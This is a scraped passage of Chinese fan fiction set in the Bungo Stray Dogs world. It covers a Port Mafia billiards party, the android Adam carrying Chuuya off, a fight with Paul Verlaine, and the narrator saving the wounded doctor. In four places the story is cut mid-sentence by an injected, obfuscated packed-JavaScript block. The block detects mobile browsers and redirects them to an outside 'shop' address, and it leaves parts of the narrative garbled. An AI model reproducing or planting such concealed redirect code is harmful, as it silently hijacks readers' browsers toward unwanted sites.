“呃,咳,副首领。”对方看见我一言不发后气势完全弱了下去,“我是不是说错话了?您生气了吗?” “你这家伙......”我跳起来掐住他的脖子,钢琴家立刻调整姿势,维持住我们之间的平衡。 “我当然生气了,不过不是你想的那样,而是,”我深吸一口气,“为什么要担心别人的看法?你以为干部是我随随便便一句话,任何人都能当的吗?” “哎?” “我之所以答应完全是因为你有这个能力好吧。你在黑-手党待了已经有十几年了吧?这几年来你也没少为组织立功,连红叶姐都听过你的光辉事迹呢。所以你能当上这个干部,完全是因为你够格啊!当然,我也是有那么一点点功劳的,如果你是年轻一辈的黑马,那我就勉为其难充当伯乐的角色吧。” “竟然是这样吗......那看来,我应该说一句‘对不起’呢。” “你这句道歉是给我还是给你自己?” “当然是二者都有了!”钢琴家的语气坚定起来,“但更多的还是给我自己,我要对这个被轻视的家伙进行反思。” “听起来好中二啊。” “这个时候就不要打击我的自信心了嘛!” “你也就趁现在能说这种话了,敢不敢比一场?” “当然!你的连胜会中断在我手里!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135670|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气真不小啊,钢琴家。”那边的信天翁吹了一个响亮的口哨,“我说,你俩还要偷偷摸摸到什么时候?再不来就要被本大爷王子打穿了啊。” 中也用球杆顶着桌面,“你说谁是本大爷王子!” 医生晃晃悠悠地坐下,捂住头说道,“唔,酒不够啊,你们有看到我的酒杯吗?” “呵呵,医生......竟然醉了?”冷血毫无感情地接过酒杯,将酒倒掉。 “嗯......哎!”无人注意的角落,宣传官出杆,母球飞速滚动,击中了目标球。然后,如同天女散花一般,各色彩球在桌上描绘出复杂的几何图案。 “哇哦,完美的一击!” 信天翁首先反应了过来:“喂!宣传官,你还真是过分啊!” “中也,你的连胜被打断了欸。”冷血小声提醒。 “什么嘛,我又不会在乎这点小事!”中也瞥了一眼后看向医生,“这家伙真的没事吗?” “他的酒量你又不是不清楚的啦~”钢琴家拿起对方的球杆,“虽然我知道问出这个问题一定会后悔......但你们觉得我俩谁会赢?” 宣传官:“我不太想回答这个问题。” 信天翁:“确实。” “我也是。”冷血点头,抬眼看了过来,“雪奈,你一会可以放点水吗?” “欸?可以是可以,看不出来你还挺担心这家伙啊。” “毕竟他可是即将成为干部的男人啊,我是在为以后的零花钱而努力。” 我:“......港-黑没有苛扣你的工资吧,冷血。” “嗯?比赛这就开始了吗?”中也凑了过来,用刻意压低但还是被听了个清清楚楚的气音说道,“雪奈,你可一定要手下留情啊。” 钢琴家:...... “喂!你们这几个混蛋!我还在这呢!” “就是因为你在这里我们才担心啊。”信天翁将酒杯递给一言不发的医生,大声喊道,“快醒醒,医生!雪奈要和钢琴家比赛了!” “啊?啊!”医生猛地站起来,杯里的酒洒了一地,“快告诉雪奈让她手下留情啊!” “你们这些家伙!”钢琴家怒吼道,“我今天就要为自己正名!” 几个回合后—— 金发男人跪地痛哭。 “呜哇哇哇——可恶啊,难道我还不够努力吗?” 宣传官摇头,颇为同情地说道,“输得好惨呢。” 信天翁:“是啊。” 冷血:“被虐的体无完肤了呢。” 医生:“话说,雪奈你真的放水了吗?” 我:“我都快放了一整个太平洋了。” 五人齐齐沉默下来,看向痛哭流涕的钢琴家和前去安慰却被前者死死抱住无法脱身的中也。 然后—— “唉。” 亚当你怎么还不来啊。 这场戏闹剧什么时候可以结束啊,我要怎么开始今天的表演啊! 12. 关于我是如何配合表演的(二) 亚当不愧是第一批高级自助计算型机器人。 在现场快要失控时,这家伙总算赶到了。 然后,局面真的失控了。 钢琴家在亚当亮出欧协刑警徽章后大手一挥,解除了“不能使用异能”的禁令。其他人默契地上前对亚当进行围攻,而被攻击者也是有些实力在身上的,以一敌六的同时还能分心精确地控制住呆在一旁的我。 我此刻才反应过来,在旗会眼里,亚当是个不折不扣的陌生人啊! 这么一想,眼下这个结果倒也不是不能接受了。 我的接受度一向都很良好。 但宣传官似乎不这么想。 他可能单方面认为我这个毫无作战能力的副首领一旦被控制住就离嗝屁不远了,于是,他没等钢琴家问完话,就操起武器冲了上来。 台球桌被应声劈成两半,而我那位列第一的分数牌也在此刻英勇牺牲。 ......故意的吧?完全是赢不了我故意的吧?!这个结果我绝对不能接受! “干什么呢,宣传官!这个桌子的钱从你工资里扣!” “啊......啊?不要啊,雪奈!” 场面陷入混乱,亚当找准时机,一跃落在中也面前。他垂下头,以面对贵人时使用的最高礼仪单膝跪地。 “中也大人,本机是来保护你的。” “......哈?” 呼——我松了一口气,表演,终于开始了。 **** 颜色各异的球在空中飞舞。 亚当站在球桌的尸体上,将台球抛了起来。他十分熟悉抛接球的要领,两只手一接一抛,九个冷冰冰的台球画出不同高度的复杂圆弧,像蝴蝶一般在空中翩翩起舞。 我们七个人围坐在一起,露出崇拜的眼神。 “本机不理解......这位小姐。”表演结束之际,亚当把球一个个扔向脚底下的台球桌,所有球都落进了口袋。 然后亚当低头,开口问道:“为什么要以这种观摩动物的方式将本机放在中间?” “哎?你竟然看出来了吗?”我眨眨眼,“不愧是第一自主思考型计算机啊。” “......围观动物?”信天翁喃喃自语,“我怎么没看出来?” 我选择忽视这个问题。 “欧洲的异能技术研究比日本更高级,同时还培养了大量的异能技师。”医生露出阴沉的笑容,“我应该把这种技术用在我的病人身上......” “你先在信天翁身上试试水吧。”我拍拍他的肩膀,看向亚当,“不介绍一下自己吗,刑警先生?” 亚当露出一个迷惑的眼神,随后朝我们鞠了一躬,进行了自我介绍。 “喜欢的东西是橡子?好独特的爱好。”钢琴家说,“身为计算机为什么会讨厌金属检测仪呢?” “因为那会让本机知道自己不是人类。”亚当回答道,“和中也大人不会做梦一样。” “喂!” 天花板骤然一抖,落下簌簌的灰沉。宣传官及时按住了即将暴怒的赭发少年,小声说道,“冷静点,中也,房子要塌了的话,维修的钱肯定会从你的工资里扣的!” 中也:...... 在我幽幽的目光中,他罕见地安静了下来。 “我还有一个问题。”信天翁举手,“为什么要建立只有机器的形式机构?” “因为人类是不完美且非逻辑性的,只有机器才不会出错。” 冷血抓住了他话里的漏洞,毫不客气地追问道,“那你为什么会讨厌‘不是人类’的感觉呢?” “因为本机有要保护的人。”亚当毫不畏惧地对上了他的目光,认真回答道,“为了他,本机会克服自己的本能,但不会扼杀自己的梦想。” 所有人沉默了下来。 直到钢琴家碰了碰我的手,我才开口问道,“即便如此,问题也没有解决。黑手党和刑警可是天敌,你怎么保证不把这些情报报告给当局?” “......”一时间,让所有人沉默的亚当,此刻陷入了更深的沉默。他欲言又止,止又欲言,在七道意义不同的目光下,最后对我露出了一个极为复杂的表情。 翻译一下,可能就是——你确定自己是在配合我演戏而不是来砸场子的么? “哇,好精彩的表情啊!”我愉快地回望过去,慢吞吞地说道,“可惜了......” 我叹气,在心里默默补充,可惜不能拍照啊。 ......嗯,等等? 我环视全场,突然得出一个结论—— 谁说不能? 我才是地位最高的那个吧。 我掏出手机,点开相机后突然闪退了一下,趁这个间隙亚当迅速调整好状态,又变成一本正经的,属于计算机的样子。 ......可恶啊! “关于这点还请您放心。”亚当行了个抚胸礼,“本机只有抓捕魏尔伦这一个任务。除此之外的内容,本机并没有报告的义务。” “为什么?”我继续追问。 “关于这点,本机稍后会进行说明。”亚当依旧笑着说,“魏尔伦是中也大人的哥哥。” “什么!” “哇哦!” “兄弟残杀?” 气氛一下子热闹了起来。 “哥哥吗......”我故作思考,在心底默默竖起大拇指,这招围魏救赵实在高明。 “他在说谎。”中也瞪着所有人:“他一定在说谎,魏尔伦?暗杀之王?我的哥哥?怎么可能?这种事情根本不会发生。” 我好奇地看过去,“为什么?” 没错,我就是一个只会问为什么的冷酷机器。 “因为,魏尔伦,已经——”中也的目光落在虚空处,仿佛回到了过去。 “死了。” “什么!” “哇哦!” “死而复生?” 气氛再次热闹起来,中也迟疑地讲起了过去。 “等等等等——假首领复活事件?”信天翁变形的声音脱颖而出:“那件事情的主谋不是兰堂大哥吗?难道兰堂大哥就是……” 他看向我。 我点头。 “什么!” “哇哦!” “不可思议!” “......安静一点!”我大喊。 这反馈是不是过于良好了? “杀了兰堂的是我。”中也握拳,“魏尔伦已经死了。” “不,中也大人。”亚当毫无感情地说道,“他还活着。” “你要怎么证明?”我换了个姿势,继续追问。 “本机自会证明。”亚当抬起手腕,钢丝从肘部射出,旋转着缠绕住中也。 “抱歉了,黑手党,我先借走中也大人六十分钟。” 他一边说着,一边搬着中也跳道窗外的屋顶上,临走前给了我一个“你加油”的鼓励眼神。 整个过程不超过三十秒。至此,这场派对的主角离开了。 我:...... 完蛋了,好像玩大发了。 二者的身影消失在夜色中。 “喂喂喂喂——”信天翁揽住我的肩膀,“副首领,这个,”他指指窗外,“没事吧?” “中也在我们眼皮底下被拐走了。”宣传官走了过来,“大人,这种情况算是个大问题吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135671|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不会的。” “我赞同。”钢琴家的表情十分明朗,“既然计算机先生让我们等六十分钟,那在此之前,我们就打打球喝喝酒,消磨一下时间吧。” “六十分钟啊......相当于黄金一小时呢。”冷血点头,“话说,这种程度的智能生命体,真的能被异能者创造出来吗?医生,你怎么看?” “酒不够啊。”医生呆呆地望向窗外,“我记得是异能技师吧?” 钢琴家:“有区别吗?” 医生:“区别大了。” 信天翁:“刚才轮到谁了?” 我:“宣传官。” 信天翁:“怎么可能!这家伙不是最后一名吗?” 我:“所以,这就是球桌坏掉的的理由吗?” 所有人:“......” “你们都盯着我干嘛?”肇事者站在中间,一脸无辜,“我可是公众人物!” “已经联系后勤部了,新球桌待会就到。”我按灭手机屏幕,补充道,“当然,走的是这位公众人物的账。一张定制的Shender,直接从德国空运。” “哇哦!”信天翁惊呼,“真是下了血本啊。” 冷血若有所思,“嗯,算是因祸得福吗?” “果然,女人心,海底针啊。”医生补充,“话说公众人物,你上次和那个德国女明星是怎么回事?” 肇事者此刻正心痛地捂住胸口,“我现在只想和我的珊珊单独呆一会......雪奈,你好狠的心,你和它都是从德国来的吗?” “驳回,账单已经发了。” “可恶。” “既然这样的话,”钢琴家突然发声,变戏法似的从怀里掏出两个长方体,愉快地说道,“在珊珊小姐到来之前,我们先打会儿牌如何?至少弄坏了我赔得起。” 过了一会———— “哈哈!我又赢了!人生果然是有得必有失啊!”宣传官将手里的牌一扔,顺手将纸条贴在我脸上,“第十三张!” “欸——等等,你这家伙怎么跑的?”信天翁低头翻了翻牌堆,“4、5、6、7、8、9......” 冷血耐心解释道,“两头的牌数互质,4和9、5和8......而且这也是一幅顺子,正好符合雪奈给出的题目。” 信天翁:“什么是互质?” 我举手:“我要求更换队友。” “输了的人可没有提条件的资格哦。”医生将牌混在一起,“现在的战况是......一比三,你们三个再不努力就要输了哦。” “抗议!我要抗议!” 钢琴家:“抗议无效。” “你这家伙!”我踹了他一脚,“你到底是哪边的?” “啊!”信天翁突然大叫一声,等所有人看过去后一脸高兴地说道,“互质就是两个整数的最大公因数为一啊!” “......换队友!我要换队友!把我换过去也可以啊!” “雪奈你冷静一点啊!” 宣传官:“那我们下把玩数字黑洞模式吧!” “嗯......什么是数字黑洞?” “我求你了,信天翁。”我躺在地上,崩溃地说道,“你对数字的理解不能加强一点么?” “是啊。”钢琴家补充,“想要往上走,数字也是必要的啊。” 屋内外充满了快活的空气。 ——直到敲门声响起。 邮递员站在门口。 “打扰了,黑手党。”男人抚胸行礼,声音平稳地落下,“雪奈大人,首领传唤您。” 随后,他缓缓抬起头。 黑色帽檐下,露出一双鸢色的眼睛。 13.关于演出时的小失误(1) 邮递员,一直是在组织内我最敬佩的一类人之一。 这类人不仅沉默寡言,而且都十分有钱。光是一条简单的口信就足以让他们后半辈子高枕无忧。 当然,最重要的一点还是完美的售后服务。 一旦有人来打探情报,他们都会将对方击退;如果击退失败,他们会毫不犹豫地进行自我了断。 带着不能言说的秘密一起。 为了保命,这类人只会在任务目标面前暴露身份。 所以,我眼前这个黑发男人就很可疑了。 “你的帽子不错。”我挑起话题,闲聊般地询问道,“哪儿买的?” “......” “看样子不是国内。”没等到回复后我自顾自地说下去,“我有个朋友也戴帽子,和你差不多。不过他的帽子是用来凑身高的,你这顶有点像巫师帽啊,难不成你还兼职当男巫吗?” “......”对方依旧保持沉默。 “你会魔法吗?改天介绍你们认识一下。”我越说越兴奋,“然后你就可以掏出自己的小坩埚,对着他念起‘乌鸦玛雅黑快快长高快快长高’的咒语......这对你们来说简直是小菜一碟吧?我这个朋友一定会爱上你的。” “......不会。”一直沉默的男人突然转身,低头盯着我,语气异常坚定地回答道,“我不是男巫师。” 我眨眨眼:“那你就是女巫了?” “也不是。”对方强压下翻白眼的冲动,“我是邮递员。” “你叫什么名字?” “您似乎忘记了这行的规矩。” “怎么会。不问过去,不问现在,不问将来。话说你们不觉得这个口号怪怪的吗?”我迅速喊出这三句话,补充道,“怪中二的。” “我并不这样认为。” “看来你也是个中二少年啊。我懂,我都懂,男人致死是少年嘛。”我抬起手,一幅“你不用解释了”的样子,一脸担心,“组织真是眼光独特,竟然挑中了你。看来我得提醒森首领,该扣你点报酬了。”说着,我掏出了手机。 “等等!”男人提高语调,一把抓住我的手,有些咬牙切齿地报出名字,“波鲁·韦鲁莱努,我的名字。” “哦?抓疼我了,扣钱。”我挑眉,“还有,语气太生硬了,我不喜欢,再扣。” 黑发男人猛地松手,倒吸一口凉气。空气凝固了几秒,他眼中的震惊迅速褪去,化为彻底的恭敬。随后,他垂下头,极为郑重地行了个礼,“......万分抱歉,雪奈大人。在下波鲁·韦鲁莱努,请您吩咐。” “有两个问题。”我伸出手,“其一,传唤的理由是什么?” “没说那么多。”波鲁摇头,“至少,首领说只需您一人。” “OK。”我点头,“至于第二个问题......” 对方在我的示意下靠过来,一脸正经,“您说?” “你的帽子到底是在哪里买的?” “......我能拒绝回答这个问题吗?” “你觉得呢?” “......” 我至今仍未知道那顶帽子的来源。 因为波鲁·韦鲁莱努——也就是保罗·魏尔伦,终于卸下了伪装,用拳头回答了这个问题。 我在第一时间反应过来,发动异能。 时间骤然加速,人群与灯光都像被按了五倍键的影片般飞速流逝。唯有我和金发男人站在原地。 “真是让人生气啊,雪奈。在你手下当差的日子可真不好过。”魏尔伦收拳,一脸阴郁地看着我,“你是什么时候发现的?” “很难不能第一时间发现吧,保罗·魏尔伦。”我指指他的眼睛,“世界第一杀手的伪装就这么漏洞百出吗?还有——”这个点我其实都不想吐槽,“波鲁·韦鲁莱努不就是保罗·魏尔伦的日语发音but中文版吗?!” “看来你和太宰一样,十分精通他国语言。”魏尔伦的语气从傲慢变得温柔,他轻碰自己的眼睛,怀念地说道,“这和中也最相似的地方,正是我们是兄弟的证明。” “哇哦,你就靠这个来维持你们兄弟二人之间的感情吗?话说,不是越没有什么就会越在意什么吗?” “你闭嘴。” “嗯......你急了是吗?” 回应我的依旧是带着劲风的凌冽一拳。 哦,男人。 我其实不太能理解魏尔伦。 我们两个之间的恩怨并不少,从某方面来说,似乎跟我单方面的发泄有关。毕竟我不会对一个让我平白无故加了大半个月班的人有什么好感。 但是魏尔伦对我的敌意这么猛烈,我是不理解的。 我也不想理解。 因为我会大胆开麦。 “我做人一向光明磊落。”我说着开始迈开脚步,拉开我们之间的距离,“和你这种心灵肮脏的变态,还是有很大区别的。” “心灵肮脏吗?”对方没有否认这一点,反而呆呆地目视前方,似乎陷入无尽的悲伤之中,“自始至终,我的目的只有一个。” 嗯......事情变得严重起来了......我心下一紧,表面不动声色,实则加快移动的脚步。余光暼到墙上同样不安的影子,随着步伐的加快,它也在悄无声息地拉长、扭曲。最后被更大的阴影吞噬。 “旧的同伴之类的,就不再被需要了吧?” 与此同时,双脚猛地发力。 几乎是我跳离原地的瞬间,四周传来混泥土碎裂的声响。我原先站着的那块路面已经开裂,裂纹正以惊人的速度向四周扩散。路灯忽明忽暗,地面正以开裂处为中心塌陷,黑洞所经之处都被吞噬,水泥地碎裂,卷着细小的粉尘坠入黑暗。 我落在不远处的车顶上,心里默默给后勤部鞠了一躬。 钱啊,这些修复与赔偿,都是钱啊! 挨千刀的魏尔伦! “骂人就不必了。”魏尔伦居高临下地看着我,声音如摇篮曲一般温柔,“你该死,雪奈。” “因为中也?” “因为你,他加入了黑手党。”充满讥讽的笑声传来,“你们这些人,都是中也路上的绊脚石......不,是比绊脚石更恶心的存在。” “中也是人类。”我强压住声音里的颤抖,“他是出生在乡下海边的孩子,我们还找到了照片。” “那是假的。你们找到的不过是N伪造的情报罢了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138389|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>N? 我记下这个名字。 “好了,雪奈,闲聊时间结束了。”黑色的能量体悬浮在魏尔伦身边,他宣布了死亡宣言,“你该去死了。” 黑暗,从他的手里诞生。 身体像深秋最后挣脱枝头的落叶,开始了它缓慢而轻盈的坠落与扩张。 你经历过死亡吗? 我经历过。 光,从我所在之处渗开,如同林间晨露无声漫溢。浸过汽车、路面、路灯和屋顶。随后是无尽的黑暗,从四面八方涌来的、带着绝对压制力的、充满泥土气息的死亡讯息。 耳边响起低喃,像风穿过空心古木的呜咽,或根系在黑暗中汲取养分的密语,悠长而庄严,与我残存的心跳共鸣。 【温柔森林的秘密】 并不尖锐,却无比深邃。我看见巨木倒地,大地合拢。 然后,寂静降临。 广阔,柔和,轻盈。 森林沉入永夜,再无一丝回响。 **** 今晚月色很美。 “尸体......不见了啊。” 魏尔伦站在那里,毫无感情地注视着一切。 与尸体一同消失的还有八层高的大楼,周遭的汽车,和一道长长的路面。 魏尔伦掏出一根白桦树枝,轻放在脚底。然后打开任务面板,划掉“雪奈霜枝”这个名字。 再之后,他掏出一个控制器。 这是一个黑色的机器,屏幕上有两个头像,分别是魏尔伦本人和那具消失的尸体——如果尸体还算活人的话。 而现在,属于雪奈的头像已经彻底暗了下去。灰色的头像下延长出一根细线,连接着一个手机形状的图案。 魏尔伦点开它。 六个人名赫然出现在列表中,从上到下,分别是中原中也、钢琴家、信天翁、宣传官、冷血、医生。 魏尔伦的手指在最后五人名上来回犹豫,最终点开了以手术刀为头像的聊天框。 【我找我爸揍你:受伤了,来帮忙。】 【我找我爸揍你:地址】 已读。 对方秒回。 【悬壶济世:怎么回事?你不是被首领叫走了吗?】 【悬壶济世:多严重?要几个人?】 【我找我爸揍你:见面聊。】 【我找我爸揍你:尽快。】 魏尔伦熄灭屏幕,心情颇好地伸了个懒腰。 几个人来都无所谓。与其说是害怕,不如说是毫不在意。来一个就杀一个,来五个就杀五个。重要目标之一已死,魏尔伦感到一身轻松。 “啊,既然如此——”他拉长语调,目光扫过全场,“诸位谁有异议?” 当然无人应答。 魏尔伦摊开双手,戏剧性地转了一圈后,故作头疼地自语,“毕竟,人死不能复生啊。” 呼啸声起。 “谁说不能?” 子弹破风而至。魏尔伦应声下蹲,子弹擦着耳垂飞过,留下一道浅红色的血痕。 月色如水,将来者照得清清楚楚。 本该死去的白发女孩,此刻正飘在空中。她右手拿枪,血红色的眼睛在黑夜中亮得惊人。 14.关于演出时的小失误(2.2) 你经历过死亡吗? 我经历过。 这个问题并不严谨。 因为我经历的是即将迈进死亡大门后却被一脚踢了出来。 所以,真正的问题应该是,你经历过死里逃生吗? 巧了,我也经历过。 特异点,一种极端的异能现象。异能作为人类灵魂的寄生物,给人类带来能力的同时,也带来了毁灭性的潜在危害。像保罗·魏尔伦这种用人格程序和复制培养出的□□,成功欺骗了异能。 这样的先例来自于法国。几年过后,日本同样得到了这些材料,让悲剧再次上演。 《荒霸吐计划》就这么开始了。 至于我为什么知道这些信息,我认为是我妈的手笔。 毁灭性强光即将占据全部视野的前一刻,这些信息在我的脑海里一闪而过。 这是我妈留给我的——用来对抗魏尔伦的底牌。 所以想活,我就需要制造特异点。 想明白后我立刻释放出全部异能,将对方“接近无限能量”的时间状态推进至“全部被消耗殆尽”那刻。无限的能量在无尽的循环中,每次都被扣除一个固定值。于是,荒诞的景象便发生了。 魏尔伦释放出的无限能量,在我的时间循环里被“减法”这个概念一点点消磨殆尽。当理论值为零时,现实无法承载如此巨大的悖论,就像是被撑破的气球,爆炸一瞬间,特异点悄然出现。 我还活着。 连带着八层高的大楼和长长的路面一起,这些东西没有消失,只是换了一种形式存在于我的体内。 “所以,”我收起枪,耐心地问道,“你听懂了吗?” “呵。”魏尔伦冷笑,“真是一场精彩的数学辩论啊,我该称你为当代数学女王吗?” “谢谢你的赞美。” 魏尔伦:“......” “不过,我可不会为此手下留情哦。”我打了个响指,“谁说特异点的作用只有一个?” “什——砰!呃......”仅需0.7秒,魏尔伦吐出一大口血,捂着心脏倒了下去。 “作用之二,伤敌一千但不会自损八百。”我鼓着掌,走过去,“弟控君,拥有灵魂的感觉如何?” “很痛......你这家伙。”魏尔伦低低地笑了起来,“真是给我准备了一份大礼啊。” “不用感谢,我这人超大度的好吧。实在觉得过意不去的话,能不能吧‘N’的地址告诉我?啊......”看见对方一脸便秘的样子,我试探地问道,“你不会也不知道吧?” “哼,那又如何?你不是也不知道?” “那你为什么要告诉我这个人的存在?” “......你才获得这条情报吗?” “嗯,对啊。”我点头,“刚刚从你口中知道的啊。” 不知道为什么,这句话让魏尔伦觉得比中也被雪奈拐走还要恶心。 他捂住心脏,半跪着支起身体,语气轻松,“既然如此,我改变主意了。” “啊,什么?”我蹙眉,总感觉这家伙在憋着个大的。 金发男人抬头,一脸温柔,“我也有份大礼。” 与此同时,不远处传来我的名字。 “雪奈——雪奈——” 这声音很熟悉,还带着一丝欣喜。我立刻抬头,一脸震惊。 是医生,他正挥着双手用力向这边奔跑。 不对啊......这家伙为什么会出现在这里......也就是在此刻,我猛然回想起拍照时闪退的手机。 TND魏尔伦这个混帐东西! 几乎是一瞬间我就明白了他的意思,这家伙的目标不止有我和森鸥外,还有旗会!我心乱如麻,看都没看对方一眼拼尽全力发动异能。 但是晚了。 魏尔伦的攻击比我更快一步。医生脸上欣喜的神情骤然凝固,他一副发生什么事了的样子,缓缓低头:“......欸?” 没有看见熟悉的双腿,而是冰冷的水泥地板。 黑线平滑地掠过他的腰间。 这极具冲击性的场景中,伴随着雪奈撕心裂肺的呐喊。 “医生——!!!!!!!!!!” 夏夜,肋骨,和殷弘的鲜血。 这一夜的月光与虫鸣,究竟在为谁举办葬礼? 我用力捂住不断流血的伤口,尽管毫无用处。 “医生......医生......” 我的大脑一片空白。 魏尔伦早就离开了这里。或许我该保持冷静,警惕敌人会再次偷袭。但,感性早已占据上风。 我哀嚎着。 怎么办怎么办怎么办怎么办——如果我早一点发现手记的异常,这一切会不会不会发生?如果我不激怒魏尔伦,旗会会不会不受牵连?如果......如果。 他不能死。我想。 不止医生,旗会的所有人都不会死。 人的潜力是在极限状态下被激发的。 他不能死,等同于,我要救他。 我要救他,我必须救他,只有我才能救他。 救他的想法挤压着我的大脑,鲜血在路面上洇开救他的形状,一道道笔画随着脉搏的跳动往外渗出。我将双手放在腰处,触感温热,转瞬间凝成微凉。 我闭眼,回忆着你生前的模样——笑谈如何寻找齿形记录、偷喝球桌上的威士忌、打牌要赢时冲我眨眼......无数鲜活的画面涌入脑海。 “雪奈——” 还有你呼唤我的模样。 然后—— 【异能力——时纪残章】 人啊,总能在命运的深渊里被点燃星火。 **** 人在被腰斩后可以活多久? 我不知道。 外科医生,港口Mafia的一员,旗会的一份子,麻木地想着。 脊髓神经还没有完全丧失功能,疼痛还在顺着脊髓向上攀爬。 眼前的光斑越来越大,像偷喝的威士忌在眼角膜晕开。 是有谁在哭吗? 听不清了。 又想起那本钢琴家送的医疗笔记,作为入会礼物,一直被医生珍藏。那本笔记上的知识早已熟记于心,尽管如此,他还是喜欢一遍遍地阅读。 “其实这个方子是不完美的。” “那你为什么还要打勾?”少女直勾勾地盯着他,“我能看看吗?” “当然,”医生递过去,补充道,“如果你能看懂。” “我当然可以。”少女的头埋在书中,声音闷闷道,“我爸爸也是医生。” 医生本医心头浮上一丝不妙的预感,“你爸爸是谁?” “森鸥外。” 好极了,如果这个名字不跟新上任的首领同名的话。医生当然记得这号人物,这个以一己之力力平众议,登上王座的男人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144189|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么——医生低头,这个少女的身份就很明显了。 “喂,你这家伙——”许是自己的震惊太过明显,医生竟听出了一丝哀怨,“这才几年啊,你就把我忘了?” “哎?” “旗会成立的时候我不也在场吗?”白发少女合上笔记,“我还吃了钢琴家的庆功蛋糕。” 回忆开始。 “喂,钢琴家,这家伙从哪冒出来的?”庆功宴上,医生盯着酒杯旁蠢蠢欲动的手说道。 “啊,医生,就你还没见过她了。”金发男人大步走过去,将对方举起,“介绍一下,这是雪奈。雪奈,这是外科医生。” “你好。”女孩低头,像鹌鹑似的一动不动,小声说道,“能把我放下去吗?” “当然没问题。” 她刚一落地,就冲着另一边跑走了,医生只好将那句已经到嘴边的问好咽了回去。 “怎么样,她很可爱吧?”钢琴家望着她跑远的背影,一脸傻笑。 医生默默往旁边挪开一步,刻意拉远距离:“看起来离成年还远着呢。” “才十岁啊。” “温馨提示,那便是饮品区哦。”医生晃了晃手里的酒杯,眼里带了几分幸灾乐祸,“未成年可不能喝酒呢。” “嗯。嗯?!”钢琴家突然反应过来,冲朝着那个早已消失的背影大喊,“雪奈,快回来!” 这下,轮到医生对着钢琴家匆匆追去的背影傻乐了。 回忆结束。 记忆,逐渐与眼前的少女重合。 “是你......”医生呆呆地说道,“可我记得首领身边的小女孩不是金发吗?” 回答他的是少女恨铁不成钢的呐喊:“啊——啊!别想那么多了!快来帮忙!你的笔记被风吹跑了!” “哪里来的风啊?” “还不是信天翁那家伙!好端端地搞什么试飞测试!” 写满字的纸在空中乱飞。医生后来总想起这一幕,记得最清的是那个在纸片里拼命去抓的背影—— 就像眼前一样。 无数白纸从雪奈身体里溢出,旋转着涌进这具残破的身躯。白纸渗入,血液倒流。恍惚中,医生感觉到自己的下半身正在被人缝补。 红线穿针。最后一针落下,体温开始回升。随着视野逐渐清晰,那张从伤口处的白纸,便无可回避地出现了。 上面的字迹汝晨露般凝结—— 必须救活你,医生。 真奇怪。这次,医生终于可以毫不费力地进行思考了。 他盯着不断浮现的神秘字迹,感觉十分新奇。 这不是日语,也不是英文字母。弯曲的笔画像盘根错节的古木,密密麻麻地交织在一起。不认识,却能看懂。 医生抬起手臂。 指尖轻轻抚上雪奈的脸颊,触到一片冰凉。他用拇指的指腹,很慢地,很仔细地替她抹去眼泪,随后在对方欣喜又后怕的表情中低声笑了起来。 “雪奈。”他的眼睛湿润发亮,和她一样。 然后,他说。 “女孩子的眼泪,要留给幸福的时刻啊。” “呜哇——”对方呆愣一刻,随后扑进自己的怀里大哭起来,“你这混蛋!” “吓坏你了吧?” “怎么可能!我很坚强的好吧?我才没有因为你哭!是今天的风太大了!” “哎——可恶的风啊。” “不许笑!” 15.关于演出时的小失误(2.3) 人生,真是倒霉如贩卖机里投了币却被卡在出口的可口可乐。 救活医生后我先是处理了这部罪恶的手机,然后询问了旗会的情况,命令他们去柠檬哥手底下帮忙,虽然后者对此十分抗议,但听见我同意他能在港-黑大楼里做实验后还是答应了下来。 无所谓,我会出手。 然后,我带着医生去了医院。 医生本医对此十分不理解。 “雪奈,为什么要来医院啊。”医生站在大厅,一脸无奈,“你还记得我们是□□吧?” 听到这话我倒是有一点小生气,颇为不满地看着他:“□□怎么了?□□就不能看病吗?” “哎呀,我不是这个意思。”医生心虚地笑笑,“不过,副首领大人,我们有新的身份吗?” “不需要那个。”我抬头,开始观察起地图来。“影像科......影像科,啊,找到了!在五楼啊。” “找那个干什么?” 